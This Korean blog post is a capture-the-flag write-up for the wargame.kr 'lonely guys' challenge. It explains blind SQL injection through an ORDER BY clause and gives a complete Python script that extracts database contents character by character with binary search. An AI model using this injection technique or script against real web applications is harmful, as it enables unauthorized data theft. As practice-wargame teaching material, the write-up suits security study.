Notice
Recent Posts
Recent Comments
Link
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
Archives
Today
Total
관리 메뉴

White Security

[wargame.kr] lonely guys 문제풀이 본문

Wargame Writeups/wargame.kr

[wargame.kr] lonely guys 문제풀이

POSIX 2019. 1. 23. 21:51

wargame.kr 사이트의 21번째 문제입니다.



Blind SQL Injection 문제입니다.

order by 내에서 Injection을 할 수 있나요?



링크에 접속하면 테이블이 하나 나오고

우측 상단의 reg_single을 클릭하면 정렬 방법을 변경할 수 있습니다.



기본 정렬 방법은 asc이며

클릭시 [ asc <-> desc ]로 교차변경 됩니다.



이번에도 식은 간단하며

POST방식으로 sort 변수를 전송하면

쿼리 뒷부분에 붙어야 할 asc, desc 뒤에

표현식을 써넣는 것으로

블라인드 인젝션을 시도할 수 있습니다.



order by [ column | column_number, ... ]의 형식을 취하는

order by절은 정렬기준을 다수로 지정할 수 있는데


기존에 존재하는 reg_data column을 첫번째 정렬 기준으로 둔 상태에서

뒤에 [ , (select ...) ] 의 서브쿼리를 끼워넣음으로서 두번째 정렬기준을 지정할 수 있습니다.


위 식은 if 절 내의 식이 참인 경우

정렬기준으로 NULL이 들어가게 되어

무시되므로 정상적으로 페이지가 표시되며


거짓인 경우 모든 테이블의 이름이 리턴되므로

Subquery returns more than 1 row

오류가 발생하여 빈 테이블을 반환합니다.


import urllib.request, urllib.parse
import math, sys

def check_true(response): return ( len(response) >= 1450 );

def if_query(query):
	data = urllib.parse.urlencode({'sort' : ',(select 1 from information_schema.tables \
	where if((' + query + '),0,1))'}).encode()
	req = urllib.request.Request('http://wargame.kr:8080/lonely_guys/index.php', data = data)
	response = urllib.request.urlopen(req)
	output = response.read()
	return check_true(output)

def check_greater_than(query, val):
	return if_query(query + '>=' + str(val))

def find_char(query):
	first = 0
	last = 129
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			last = mid
			
	return chr(first)

def get_length(query):
	first = 0
	last = 65
	
	query = 'length(' + query + ')'
	
	while first < last - 1:
		mid = math.floor((first + last) / 2)
	
		if check_greater_than(query, mid):
			first = mid
		else:
			last = mid
	
	return first

def get_content(name):
	name = '(' + name + ')'
	content_len = get_length(name);
	content = ''
	
	if content_len == 0:	
		sys.stdout.write('Invalid request\n')
		return ''
		
	for idx in range(1, content_len + 1):
		content += find_char('ascii(substr(' + name + ', ' + str(idx) + ', 1))')
		sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content)))
	
	sys.stdout.write('\n')
	return content



if len(sys.argv) < 2:
	sys.stdout.write('Using: ' + sys.argv[0] + ' <cmd>\n')
	exit()

content = get_content(' '.join(sys.argv[1:]))


위 취약점을 이용해 파이썬 스크립트를 작성하였습니다.



Comments